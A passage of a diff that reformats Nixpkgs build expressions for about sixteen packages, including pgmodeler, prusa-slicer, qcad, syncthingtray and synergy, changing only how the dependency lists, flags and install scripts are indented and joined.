   __darwinAllowLocalNetworking = true;
 
-  nativeBuildInputs =
-    [
-      binaryen
-      gzip
-      nodejs
-      rustc
-      rustc.llvmPackages.lld
-      wasm-bindgen-cli_0_2_92
-      wasm-pack
-      httplz
-    ]
-    ++ lib.optionals stdenv.buildPlatform.isDarwin [
-      python3
-    ];
+  nativeBuildInputs = [
+    binaryen
+    gzip
+    nodejs
+    rustc
+    rustc.llvmPackages.lld
+    wasm-bindgen-cli_0_2_92
+    wasm-pack
+    httplz
+  ]
+  ++ lib.optionals stdenv.buildPlatform.isDarwin [
+    python3
+  ];
 
   # build wasm and js assets
   # based on "test-and-build" in https://github.com/CloudCannon/pagefind/blob/main/.github/workflows/release.yml
diff --git a/pkgs/applications/misc/pdfstudio/common.nix b/pkgs/applications/misc/pdfstudio/common.nix
index c9834e9ec4ed..19b7c460ccf8 100644
--- a/pkgs/applications/misc/pdfstudio/common.nix
+++ b/pkgs/applications/misc/pdfstudio/common.nix
@@ -26,7 +26,8 @@ let
 
     buildInputs = [
       sane-backends # for libsane.so.1
-    ] ++ extraBuildInputs;
+    ]
+    ++ extraBuildInputs;
 
     nativeBuildInputs = [
       autoPatchelfHook
diff --git a/pkgs/applications/misc/pgmodeler/default.nix b/pkgs/applications/misc/pgmodeler/default.nix
index 884acd7aaa77..c0f6364265e3 100644
--- a/pkgs/applications/misc/pgmodeler/default.nix
+++ b/pkgs/applications/misc/pgmodeler/default.nix
@@ -31,29 +31,27 @@ stdenv.mkDerivation rec {
     wrapQtAppsHook
     copyDesktopItems
   ];
-  qmakeFlags =
-    [
-      "pgmodeler.pro"
-      "CONFIG+=release"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "PGSQL_INC=${lib.getDev libpq}/include"
-      "PGSQL_LIB=${lib.getLib libpq}/lib/libpq.dylib"
-      "XML_INC=${libxml2.dev}/include/libxml2"
-      "XML_LIB=${libxml2.out}/lib/libxml2.dylib"
-      "PREFIX=${placeholder "out"}/Applications/pgModeler.app/Contents"
-    ];
+  qmakeFlags = [
+    "pgmodeler.pro"
+    "CONFIG+=release"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "PGSQL_INC=${lib.getDev libpq}/include"
+    "PGSQL_LIB=${lib.getLib libpq}/lib/libpq.dylib"
+    "XML_INC=${libxml2.dev}/include/libxml2"
+    "XML_LIB=${libxml2.out}/lib/libxml2.dylib"
+    "PREFIX=${placeholder "out"}/Applications/pgModeler.app/Contents"
+  ];
 
-  buildInputs =
-    [
-      libpq
-      qtsvg
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ qtwayland ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cups
-      libxml2
-    ];
+  buildInputs = [
+    libpq
+    qtsvg
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ qtwayland ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cups
+    libxml2
+  ];
 
   desktopItems = [
     (makeDesktopItem {
@@ -68,17 +66,16 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  postInstall =
-    ''
-      install -Dm444 apps/pgmodeler/res/windows_ico.ico $out/share/icons/hicolor/256x256/apps/pgmodeler.ico
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir -p $out/bin
-      for item in pgmodeler pgmodeler-{cli,se,ch}
-      do
-        ln -s $out/Applications/pgModeler.app/Contents/MacOS/$item $out/bin
-      done
-    '';
+  postInstall = ''
+    install -Dm444 apps/pgmodeler/res/windows_ico.ico $out/share/icons/hicolor/256x256/apps/pgmodeler.ico
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir -p $out/bin
+    for item in pgmodeler pgmodeler-{cli,se,ch}
+    do
+      ln -s $out/Applications/pgModeler.app/Contents/MacOS/$item $out/bin
+    done
+  '';
 
   dontWrapQtApps = stdenv.hostPlatform.isDarwin;
 
diff --git a/pkgs/applications/misc/prusa-slicer/default.nix b/pkgs/applications/misc/prusa-slicer/default.nix
index a073f0e0c809..21b57ad15dcc 100644
--- a/pkgs/applications/misc/prusa-slicer/default.nix
+++ b/pkgs/applications/misc/prusa-slicer/default.nix
@@ -99,42 +99,41 @@ stdenv.mkDerivation (finalAttrs: {
     wxGTK-override'
   ];
 
-  buildInputs =
-    [
-      binutils
-      boost186 # does not build with 1.87, see https://github.com/prusa3d/PrusaSlicer/issues/13799
-      cereal
-      cgal
-      curl
-      dbus
-      eigen
-      expat
-      glew
-      glib
-      glib-networking
-      gmp
-      gtk3
-      hicolor-icon-theme
-      ilmbase
-      libpng
-      mpfr
-      nanosvg-fltk
-      nlopt
-      opencascade-override'
-      openvdb_tbb_2021_8
-      qhull
-      tbb_2021_11
-      wxGTK-override'
-      xorg.libX11
-      libbgcode
-      heatshrink
-      catch2_3
-      webkitgtk_4_1
-      (z3.override { useCmakeBuild = true; })
-    ]
-    ++ lib.optionals withSystemd [
-      systemd
-    ];
+  buildInputs = [
+    binutils
+    boost186 # does not build with 1.87, see https://github.com/prusa3d/PrusaSlicer/issues/13799
+    cereal
+    cgal
+    curl
+    dbus
+    eigen
+    expat
+    glew
+    glib
+    glib-networking
+    gmp
+    gtk3
+    hicolor-icon-theme
+    ilmbase
+    libpng
+    mpfr
+    nanosvg-fltk
+    nlopt
+    opencascade-override'
+    openvdb_tbb_2021_8
+    qhull
+    tbb_2021_11
+    wxGTK-override'
+    xorg.libX11
+    libbgcode
+    heatshrink
+    catch2_3
+    webkitgtk_4_1
+    (z3.override { useCmakeBuild = true; })
+  ]
+  ++ lib.optionals withSystemd [
+    systemd
+  ];
 
   strictDeps = true;
 
diff --git a/pkgs/applications/misc/prusa-slicer/super-slicer.nix b/pkgs/applications/misc/prusa-slicer/super-slicer.nix
index 0e7114cc787f..22ba96255324 100644
--- a/pkgs/applications/misc/prusa-slicer/super-slicer.nix
+++ b/pkgs/applications/misc/prusa-slicer/super-slicer.nix
@@ -59,21 +59,19 @@ let
 
       # - wxScintilla is not used on macOS
       # - Partially applied upstream changes cause a bug when trying to link against a nonexistent libexpat
-      postPatch =
-        (super.postPatch or "")
-        + ''
-          substituteInPlace src/CMakeLists.txt \
-            --replace "scintilla" "" \
-            --replace "list(APPEND wxWidgets_LIBRARIES libexpat)" "list(APPEND wxWidgets_LIBRARIES EXPAT::EXPAT)"
+      postPatch = (super.postPatch or "") + ''
+        substituteInPlace src/CMakeLists.txt \
+          --replace "scintilla" "" \
+          --replace "list(APPEND wxWidgets_LIBRARIES libexpat)" "list(APPEND wxWidgets_LIBRARIES EXPAT::EXPAT)"
 
-          substituteInPlace src/libslic3r/CMakeLists.txt \
-            --replace "libexpat" "EXPAT::EXPAT"
+        substituteInPlace src/libslic3r/CMakeLists.txt \
+          --replace "libexpat" "EXPAT::EXPAT"
 
-          # fixes GCC 14 error
-          substituteInPlace src/libslic3r/MeshBoolean.cpp \
-            --replace-fail 'auto &face' 'auto face' \
-            --replace-fail 'auto &vi' 'auto vi'
-        '';
+        # fixes GCC 14 error
+        substituteInPlace src/libslic3r/MeshBoolean.cpp \
+          --replace-fail 'auto &face' 'auto face' \
+          --replace-fail 'auto &vi' 'auto vi'
+      '';
 
       # We don't need PS overrides anymore, and gcode-viewer is embedded in the binary
       # but we do still need to move OCCTWrapper.so to the lib directory
diff --git a/pkgs/applications/misc/qMasterPassword/default.nix b/pkgs/applications/misc/qMasterPassword/default.nix
index 1e1f92281da8..6a3abc16bfa8 100644
--- a/pkgs/applications/misc/qMasterPassword/default.nix
+++ b/pkgs/applications/misc/qMasterPassword/default.nix
@@ -28,17 +28,16 @@ stdenv.mkDerivation rec {
     hash = "sha256-kNVdE42JFzl6HO84b793gseMhcDyiGzQCmhh6zh2epc=";
   };
 
-  buildInputs =
-    [
-      qtbase
-      qtwayland
-      openssl
-      libscrypt
-    ]
-    ++ lib.optionals x11Support [
-      libX11
-      libXtst
-    ];
+  buildInputs = [
+    qtbase
+    qtwayland
+    openssl
+    libscrypt
+  ]
+  ++ lib.optionals x11Support [
+    libX11
+    libXtst
+  ];
   nativeBuildInputs = [
     cmake
     qttools
diff --git a/pkgs/applications/misc/qcad/default.nix b/pkgs/applications/misc/qcad/default.nix
index 699afb8a6a5f..2cf16ffdf8c3 100644
--- a/pkgs/applications/misc/qcad/default.nix
+++ b/pkgs/applications/misc/qcad/default.nix
@@ -51,19 +51,18 @@ stdenv.mkDerivation rec {
     wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      boost
-      libGLU
-      muparser
-      qtbase
-      qtscript
-      qtsvg
-      qtxmlpatterns
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      qtmacextras
-    ];
+  buildInputs = [
+    boost
+    libGLU
+    muparser
+    qtbase
+    qtscript
+    qtsvg
+    qtxmlpatterns
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    qtmacextras
+  ];
 
   qmakeFlags = [
     "MUPARSER_DIR=${muparser}"
@@ -80,56 +79,55 @@ stdenv.mkDerivation rec {
       "--prefix DYLD_LIBRARY_PATH : ${placeholder "out"}/lib"
     ];
 
-  installPhase =
-    ''
-      runHook preInstall
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      install -Dm555 release/qcad-bin $out/bin/qcad
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      install -Dm555 release/QCAD.app/Contents/MacOS/QCAD $out/bin/qcad
-      mkdir -p $out/lib
-    ''
-    + ''
-      install -Dm555 -t $out/lib release/libspatialindexnavel${stdenv.hostPlatform.extensions.sharedLibrary}
-      install -Dm555 -t $out/lib release/libqcadcore${stdenv.hostPlatform.extensions.sharedLibrary}
-      install -Dm555 -t $out/lib release/libqcadentity${stdenv.hostPlatform.extensions.sharedLibrary}
-      install -Dm555 -t $out/lib release/libqcadgrid${stdenv.hostPlatform.extensions.sharedLibrary}
-      install -Dm555 -t $out/lib release/libqcadsnap${stdenv.hostPlatform.extensions.sharedLibrary}
-      install -Dm555 -t $out/lib release/libqcadoperations${stdenv.hostPlatform.extensions.sharedLibrary}
-      install -Dm555 -t $out/lib release/libqcadstemmer${stdenv.hostPlatform.extensions.sharedLibrary}
-      install -Dm555 -t $out/lib release/libqcadspatialindex${stdenv.hostPlatform.extensions.sharedLibrary}
-      install -Dm555 -t $out/lib release/libqcadgui${stdenv.hostPlatform.extensions.sharedLibrary}
-      install -Dm555 -t $out/lib release/libqcadecmaapi${stdenv.hostPlatform.extensions.sharedLibrary}
+  installPhase = ''
+    runHook preInstall
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    install -Dm555 release/qcad-bin $out/bin/qcad
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    install -Dm555 release/QCAD.app/Contents/MacOS/QCAD $out/bin/qcad
+    mkdir -p $out/lib
+  ''
+  + ''
+    install -Dm555 -t $out/lib release/libspatialindexnavel${stdenv.hostPlatform.extensions.sharedLibrary}
+    install -Dm555 -t $out/lib release/libqcadcore${stdenv.hostPlatform.extensions.sharedLibrary}
+    install -Dm555 -t $out/lib release/libqcadentity${stdenv.hostPlatform.extensions.sharedLibrary}
+    install -Dm555 -t $out/lib release/libqcadgrid${stdenv.hostPlatform.extensions.sharedLibrary}
+    install -Dm555 -t $out/lib release/libqcadsnap${stdenv.hostPlatform.extensions.sharedLibrary}
+    install -Dm555 -t $out/lib release/libqcadoperations${stdenv.hostPlatform.extensions.sharedLibrary}
+    install -Dm555 -t $out/lib release/libqcadstemmer${stdenv.hostPlatform.extensions.sharedLibrary}
+    install -Dm555 -t $out/lib release/libqcadspatialindex${stdenv.hostPlatform.extensions.sharedLibrary}
+    install -Dm555 -t $out/lib release/libqcadgui${stdenv.hostPlatform.extensions.sharedLibrary}
+    install -Dm555 -t $out/lib release/libqcadecmaapi${stdenv.hostPlatform.extensions.sharedLibrary}
 
-      install -Dm444 -t $out/share/applications qcad.desktop
-      install -Dm644 -t $out/share/pixmaps      scripts/qcad_icon.png
+    install -Dm444 -t $out/share/applications qcad.desktop
+    install -Dm644 -t $out/share/pixmaps      scripts/qcad_icon.png
 
-      cp -r scripts $out/lib
-      cp -r plugins $out/lib/plugins
-      cp -r patterns $out/lib/patterns
-      cp -r fonts $out/lib/fonts
-      cp -r libraries $out/lib/libraries
-      cp -r linetypes $out/lib/linetypes
-      cp -r ts $out/lib/ts
+    cp -r scripts $out/lib
+    cp -r plugins $out/lib/plugins
+    cp -r patterns $out/lib/patterns
+    cp -r fonts $out/lib/fonts
+    cp -r libraries $out/lib/libraries
+    cp -r linetypes $out/lib/linetypes
+    cp -r ts $out/lib/ts
 
-      # workaround to fix the library browser:
-      rm -r $out/lib/plugins/sqldrivers
-      ln -s -t $out/lib/plugins ${qtbase}/${qtbase.qtPluginPrefix}/sqldrivers
+    # workaround to fix the library browser:
+    rm -r $out/lib/plugins/sqldrivers
+    ln -s -t $out/lib/plugins ${qtbase}/${qtbase.qtPluginPrefix}/sqldrivers
 
-      rm -r $out/lib/plugins/printsupport
-      ln -s -t $out/lib/plugins ${qtbase}/${qtbase.qtPluginPrefix}/printsupport
+    rm -r $out/lib/plugins/printsupport
+    ln -s -t $out/lib/plugins ${qtbase}/${qtbase.qtPluginPrefix}/printsupport
 
-      rm -r $out/lib/plugins/imageformats
-      ln -s -t $out/lib/plugins ${qtbase}/${qtbase.qtPluginPrefix}/imageformats
+    rm -r $out/lib/plugins/imageformats
+    ln -s -t $out/lib/plugins ${qtbase}/${qtbase.qtPluginPrefix}/imageformats
 
-      install -Dm644 scripts/qcad_icon.svg $out/share/icons/hicolor/scalable/apps/qcad.svg
+    install -Dm644 scripts/qcad_icon.svg $out/share/icons/hicolor/scalable/apps/qcad.svg
 
-      installManPage qcad.1
+    installManPage qcad.1
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
   meta = {
     description = "2D CAD package based on Qt";
diff --git a/pkgs/applications/misc/qsyncthingtray/default.nix b/pkgs/applications/misc/qsyncthingtray/default.nix
index 523a91b92f4f..b59e0e163c31 100644
--- a/pkgs/applications/misc/qsyncthingtray/default.nix
+++ b/pkgs/applications/misc/qsyncthingtray/default.nix
@@ -28,7 +28,8 @@ mkDerivation rec {
   buildInputs = [
     qtbase
     qtwebengine
-  ] ++ lib.optional preferQWebView qtwebkit;
+  ]
+  ++ lib.optional preferQWebView qtwebkit;
 
   nativeBuildInputs = [ cmake ];
 
@@ -43,7 +44,8 @@ mkDerivation rec {
       url = "https://patch-diff.githubusercontent.com/raw/sieren/QSyncthingTray/pull/225.patch";
       sha256 = "0w665xdlsbjxs977pdpzaclxpswf7xys1q3rxriz181lhk2y66yy";
     })
-  ] ++ lib.optional (!preferQWebView && !preferNative) ./qsyncthingtray-0.5.8-qt-5.6.3.patch;
+  ]
+  ++ lib.optional (!preferQWebView && !preferNative) ./qsyncthingtray-0.5.8-qt-5.6.3.patch;
 
   postPatch = ''
     ${lib.optionalString stdenv.hostPlatform.isLinux ''
diff --git a/pkgs/applications/misc/redshift/default.nix b/pkgs/applications/misc/redshift/default.nix
index 3c10b317bf10..d70cefd915aa 100644
--- a/pkgs/applications/misc/redshift/default.nix
+++ b/pkgs/applications/misc/redshift/default.nix
@@ -71,33 +71,32 @@ let
         wrapPython
         gobject-introspection
         python
-      ] ++ lib.optionals (pname == "gammastep") [ wayland-scanner ];
+      ]
+      ++ lib.optionals (pname == "gammastep") [ wayland-scanner ];
 
-      configureFlags =
-        [
-          "--enable-randr=${if withRandr then "yes" else "no"}"
-          "--enable-geoclue2=${if withGeoclue then "yes" else "no"}"
-          "--enable-drm=${if withDrm then "yes" else "no"}"
-          "--enable-vidmode=${if withVidmode then "yes" else "no"}"
-          "--enable-quartz=${if withQuartz then "yes" else "no"}"
-          "--enable-corelocation=${if withCoreLocation then "yes" else "no"}"
-        ]
-        ++ lib.optionals (pname == "gammastep") [
-          "--with-systemduserunitdir=${placeholder "out"}/lib/systemd/user/"
-          "--enable-apparmor"
-        ];
+      configureFlags = [
+        "--enable-randr=${if withRandr then "yes" else "no"}"
+        "--enable-geoclue2=${if withGeoclue then "yes" else "no"}"
+        "--enable-drm=${if withDrm then "yes" else "no"}"
+        "--enable-vidmode=${if withVidmode then "yes" else "no"}"
+        "--enable-quartz=${if withQuartz then "yes" else "no"}"
+        "--enable-corelocation=${if withCoreLocation then "yes" else "no"}"
+      ]
+      ++ lib.optionals (pname == "gammastep") [
+        "--with-systemduserunitdir=${placeholder "out"}/lib/systemd/user/"
+        "--enable-apparmor"
+      ];
 
-      buildInputs =
-        [
-          gtk3
-        ]
-        ++ lib.optional withRandr libxcb
-        ++ lib.optional withGeoclue geoclue
-        ++ lib.optional withDrm libdrm
-        ++ lib.optional withVidmode libXxf86vm
-        ++ lib.optional withAppIndicator (
-          if (pname != "gammastep") then libappindicator else libayatana-appindicator
-        );
+      buildInputs = [
+        gtk3
+      ]
+      ++ lib.optional withRandr libxcb
+      ++ lib.optional withGeoclue geoclue
+      ++ lib.optional withDrm libdrm
+      ++ lib.optional withVidmode libXxf86vm
+      ++ lib.optional withAppIndicator (
+        if (pname != "gammastep") then libappindicator else libayatana-appindicator
+      );
 
       pythonPath = [
         pygobject3
diff --git a/pkgs/applications/misc/resp-app/default.nix b/pkgs/applications/misc/resp-app/default.nix
index 78c810c3dff6..eeb1037aadc9 100644
--- a/pkgs/applications/misc/resp-app/default.nix
+++ b/pkgs/applications/misc/resp-app/default.nix
@@ -58,7 +58,8 @@ mkDerivation rec {
     qttools
     snappy
     zstd
-  ] ++ pythonPath;
+  ]
+  ++ pythonPath;
 
   pythonPath = with python3Packages; [
     bitstring
diff --git a/pkgs/applications/misc/rofi-emoji/default.nix b/pkgs/applications/misc/rofi-emoji/default.nix
index a8a83fcfe863..bb7a06377248 100644
--- a/pkgs/applications/misc/rofi-emoji/default.nix
+++ b/pkgs/applications/misc/rofi-emoji/default.nix
@@ -67,18 +67,17 @@ import ./versions.nix (
       makeWrapper
     ];
 
-    buildInputs =
-      [
-        cairo
-        glib
-        libnotify
-        rofi-unwrapped
-      ]
-      ++ lib.optionals waylandSupport [
-        wl-clipboard
-        wtype
-      ]
-      ++ lib.optionals x11Support [ xclip ];
+    buildInputs = [
+      cairo
+      glib
+      libnotify
+      rofi-unwrapped
+    ]
+    ++ lib.optionals waylandSupport [
+      wl-clipboard
+      wtype
+    ]
+    ++ lib.optionals x11Support [ xclip ];
 
     meta = with lib; {
       description = "Emoji selector plugin for Rofi (built against ${rofi-unwrapped.pname})";
diff --git a/pkgs/applications/misc/rofi-rbw/default.nix b/pkgs/applications/misc/rofi-rbw/default.nix
index 4e69d743cd05..79c318660216 100644
--- a/pkgs/applications/misc/rofi-rbw/default.nix
+++ b/pkgs/applications/misc/rofi-rbw/default.nix
@@ -33,35 +33,33 @@ buildPythonApplication rec {
     poetry-core
   ];
 
-  buildInputs =
-    [
-      rbw
-    ]
-    ++ lib.optionals waylandSupport [
-      wl-clipboard
-      wtype
-    ]
-    ++ lib.optionals x11Support [
-      xclip
-      xdotool
-    ];
+  buildInputs = [
+    rbw
+  ]
+  ++ lib.optionals waylandSupport [
+    wl-clipboard
+    wtype
+  ]
+  ++ lib.optionals x11Support [
+    xclip
+    xdotool
+  ];
 
   propagatedBuildInputs = [ configargparse ];
 
   pythonImportsCheck = [ "rofi_rbw" ];
 
-  wrapper_paths =
-    [
-      rbw
-    ]
-    ++ lib.optionals waylandSupport [
-      wl-clipboard
-      wtype
-    ]
-    ++ lib.optionals x11Support [
-      xclip
-      xdotool
-    ];
+  wrapper_paths = [
+    rbw
+  ]
+  ++ lib.optionals waylandSupport [
+    wl-clipboard
+    wtype
+  ]
+  ++ lib.optionals x11Support [
+    xclip
+    xdotool
+  ];
 
   wrapper_flags =
     lib.optionalString waylandSupport "--typer wtype --clipboarder wl-copy"
diff --git a/pkgs/applications/misc/rofi/wrapper.nix b/pkgs/applications/misc/rofi/wrapper.nix
index 89bf267998a8..4b72f3f43f8d 100644
--- a/pkgs/applications/misc/rofi/wrapper.nix
+++ b/pkgs/applications/misc/rofi/wrapper.nix
@@ -16,7 +16,8 @@ symlinkJoin {
 
   paths = [
     rofi-unwrapped.out
-  ] ++ (lib.forEach plugins (p: p.out));
+  ]
+  ++ (lib.forEach plugins (p: p.out));
 
   nativeBuildInputs = [
     makeWrapper
diff --git a/pkgs/applications/misc/syncthingtray/default.nix b/pkgs/applications/misc/syncthingtray/default.nix
index 0550b42cfaf0..6d3b936ba6a0 100644
--- a/pkgs/applications/misc/syncthingtray/default.nix
+++ b/pkgs/applications/misc/syncthingtray/default.nix
@@ -48,21 +48,20 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-q7qGL89gPlFLV+lJgO7ruBPI2pBzoHqiF/FD5KP3cnM=";
   };
 
-  buildInputs =
-    [
-      qtbase
-      qtsvg
-      cpp-utilities
-      qtutilities
-      boost
-      qtforkawesome
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ iconv ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ qtwayland ]
-    ++ lib.optionals webviewSupport [ qtwebengine ]
-    ++ lib.optionals jsSupport [ qtdeclarative ]
-    ++ lib.optionals kioPluginSupport [ kio ]
-    ++ lib.optionals plasmoidSupport [ plasma-framework ];
+  buildInputs = [
+    qtbase
+    qtsvg
+    cpp-utilities
+    qtutilities
+    boost
+    qtforkawesome
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ iconv ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ qtwayland ]
+  ++ lib.optionals webviewSupport [ qtwebengine ]
+  ++ lib.optionals jsSupport [ qtdeclarative ]
+  ++ lib.optionals kioPluginSupport [ kio ]
+  ++ lib.optionals plasmoidSupport [ plasma-framework ];
 
   nativeBuildInputs = [
     wrapQtAppsHook
@@ -73,7 +72,8 @@ stdenv.mkDerivation (finalAttrs: {
     # still build them.
     cppunit
     syncthing
-  ] ++ lib.optionals plasmoidSupport [ extra-cmake-modules ];
+  ]
+  ++ lib.optionals plasmoidSupport [ extra-cmake-modules ];
 
   # syncthing server seems to hang on darwin, causing tests to fail.
   doCheck = !stdenv.hostPlatform.isDarwin;
@@ -93,22 +93,21 @@ stdenv.mkDerivation (finalAttrs: {
   ];
   doInstallCheck = true;
 
-  cmakeFlags =
-    [
-      "-DQT_PACKAGE_PREFIX=Qt${lib.versions.major qtbase.version}"
-      "-DKF_PACKAGE_PREFIX=KF${lib.versions.major qtbase.version}"
-      "-DBUILD_TESTING=ON"
-      # See https://github.com/Martchus/syncthingtray/issues/208
-      "-DEXCLUDE_TESTS_FROM_ALL=OFF"
-      "-DAUTOSTART_EXEC_PATH=${autostartExecPath}"
-      # See https://github.com/Martchus/syncthingtray/issues/42
-      "-DQT_PLUGIN_DIR:STRING=${placeholder "out"}/${qtbase.qtPluginPrefix}"
-      "-DBUILD_SHARED_LIBS=ON"
-    ]
-    ++ lib.optionals (!plasmoidSupport) [ "-DNO_PLASMOID=ON" ]
-    ++ lib.optionals (!kioPluginSupport) [ "-DNO_FILE_ITEM_ACTION_PLUGIN=ON" ]
-    ++ lib.optionals systemdSupport [ "-DSYSTEMD_SUPPORT=ON" ]
-    ++ lib.optionals (!webviewSupport) [ "-DWEBVIEW_PROVIDER:STRING=none" ];
+  cmakeFlags = [
+    "-DQT_PACKAGE_PREFIX=Qt${lib.versions.major qtbase.version}"
+    "-DKF_PACKAGE_PREFIX=KF${lib.versions.major qtbase.version}"
+    "-DBUILD_TESTING=ON"
+    # See https://github.com/Martchus/syncthingtray/issues/208
+    "-DEXCLUDE_TESTS_FROM_ALL=OFF"
+    "-DAUTOSTART_EXEC_PATH=${autostartExecPath}"
+    # See https://github.com/Martchus/syncthingtray/issues/42
+    "-DQT_PLUGIN_DIR:STRING=${placeholder "out"}/${qtbase.qtPluginPrefix}"
+    "-DBUILD_SHARED_LIBS=ON"
+  ]
+  ++ lib.optionals (!plasmoidSupport) [ "-DNO_PLASMOID=ON" ]
+  ++ lib.optionals (!kioPluginSupport) [ "-DNO_FILE_ITEM_ACTION_PLUGIN=ON" ]
+  ++ lib.optionals systemdSupport [ "-DSYSTEMD_SUPPORT=ON" ]
+  ++ lib.optionals (!webviewSupport) [ "-DWEBVIEW_PROVIDER:STRING=none" ];
 
   qtWrapperArgs = [
     "--prefix PATH : ${lib.makeBinPath [ xdg-utils ]}"
diff --git a/pkgs/applications/misc/synergy/default.nix b/pkgs/applications/misc/synergy/default.nix
index a8c77f1d821b..1912eda40b59 100644
--- a/pkgs/applications/misc/synergy/default.nix
+++ b/pkgs/applications/misc/synergy/default.nix
@@ -46,44 +46,43 @@ stdenv.mkDerivation rec {
     ./darwin-non-static-openssl.patch
   ];
 
-  postPatch =
-    ''
-      substituteInPlace src/gui/src/SslCertificate.cpp \
-        --replace 'kUnixOpenSslCommand[] = "openssl";' 'kUnixOpenSslCommand[] = "${openssl}/bin/openssl";'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      substituteInPlace src/lib/synergy/unix/AppUtilUnix.cpp \
-        --replace "/usr/share/X11/xkb/rules/evdev.xml" "${xkeyboardconfig}/share/X11/xkb/rules/evdev.xml"
-    '';
+  postPatch = ''
+    substituteInPlace src/gui/src/SslCertificate.cpp \
+      --replace 'kUnixOpenSslCommand[] = "openssl";' 'kUnixOpenSslCommand[] = "${openssl}/bin/openssl";'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    substituteInPlace src/lib/synergy/unix/AppUtilUnix.cpp \
+      --replace "/usr/share/X11/xkb/rules/evdev.xml" "${xkeyboardconfig}/share/X11/xkb/rules/evdev.xml"
+  '';
 
   nativeBuildInputs = [
     cmake
     pkg-config
-  ] ++ lib.optional withGUI wrapQtAppsHook;
+  ]
+  ++ lib.optional withGUI wrapQtAppsHook;
 
-  buildInputs =
-    [
-      qttools # Used for translations even when not building the GUI
-      openssl
-      pcre
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      util-linux
-      libselinux
-      libsepol
-      libICE
-      libSM
-      libX11
-      libXi
-      libXtst
-      libXrandr
-      libXinerama
-      libxkbfile
-      xinput
-      avahi-compat
-      gdk-pixbuf
-      libnotify
-    ];
+  buildInputs = [
+    qttools # Used for translations even when not building the GUI
+    openssl
+    pcre
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    util-linux
+    libselinux
+    libsepol
+    libICE
+    libSM
+    libX11
+    libXi
+    libXtst
+    libXrandr
+    libXinerama
+    libxkbfile
+    xinput
+    avahi-compat
+    gdk-pixbuf
+    libnotify
+  ];
 
   # Silences many warnings
   env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.hostPlatform.isDarwin "-Wno-inconsistent-missing-override";
@@ -97,43 +96,41 @@ stdenv.mkDerivation rec {
 
   doCheck = true;
 
-  checkPhase =
-    ''
-      runHook preCheck
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # filter out tests failing with sandboxing on darwin
-      export GTEST_FILTER=-ServerConfigTests.serverconfig_will_deem_equal_configs_with_same_cell_names:NetworkAddress.hostname_valid_parsing
-    ''
-    + ''
-      bin/unittests
-      runHook postCheck
-    '';
+  checkPhase = ''
+    runHook preCheck
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # filter out tests failing with sandboxing on darwin
+    export GTEST_FILTER=-ServerConfigTests.serverconfig_will_deem_equal_configs_with_same_cell_names:NetworkAddress.hostname_valid_parsing
+  ''
+  + ''
+    bin/unittests
+    runHook postCheck
+  '';
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      mkdir -p $out/bin
-      cp bin/{synergyc,synergys,synergyd,syntool} $out/bin/
-    ''
-    + lib.optionalString withGUI ''
-      cp bin/synergy $out/bin/
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      mkdir -p $out/share/{applications,icons/hicolor/scalable/apps}
-      cp ../res/synergy.svg $out/share/icons/hicolor/scalable/apps/
-      substitute ../res/synergy.desktop $out/share/applications/synergy.desktop \
-        --replace "/usr/bin" "$out/bin"
-    ''
-    + lib.optionalString (stdenv.hostPlatform.isDarwin && withGUI) ''
-      mkdir -p $out/Applications
-      cp -r bundle/Synergy.app $out/Applications
-      ln -s $out/bin $out/Applications/Synergy.app/Contents/MacOS
-    ''
-    + ''
-      runHook postInstall
-    '';
+    mkdir -p $out/bin
+    cp bin/{synergyc,synergys,synergyd,syntool} $out/bin/
+  ''
+  + lib.optionalString withGUI ''
+    cp bin/synergy $out/bin/
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    mkdir -p $out/share/{applications,icons/hicolor/scalable/apps}
+    cp ../res/synergy.svg $out/share/icons/hicolor/scalable/apps/
+    substitute ../res/synergy.desktop $out/share/applications/synergy.desktop \
+      --replace "/usr/bin" "$out/bin"
+  ''
+  + lib.optionalString (stdenv.hostPlatform.isDarwin && withGUI) ''
+    mkdir -p $out/Applications
+    cp -r bundle/Synergy.app $out/Applications
+    ln -s $out/bin $out/Applications/Synergy.app/Contents/MacOS
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   dontWrapQtApps = lib.optional (!withGUI) true;
 
diff --git a/pkgs/applications/misc/visidata/default.nix b/pkgs/applications/misc/visidata/default.nix
index 7bb38e8b0d1b..a818c9b462fb 100644
--- a/pkgs/applications/misc/visidata/default.nix
+++ b/pkgs/applications/misc/visidata/default.nix
@@ -60,65 +60,64 @@ buildPythonApplication rec {
     hash = "sha256-ICEYC9QjYrB+oTzakfjgyg4DigzDOtYnqHRTaqF7Gw0=";
   };
 
-  propagatedBuildInputs =
-    [
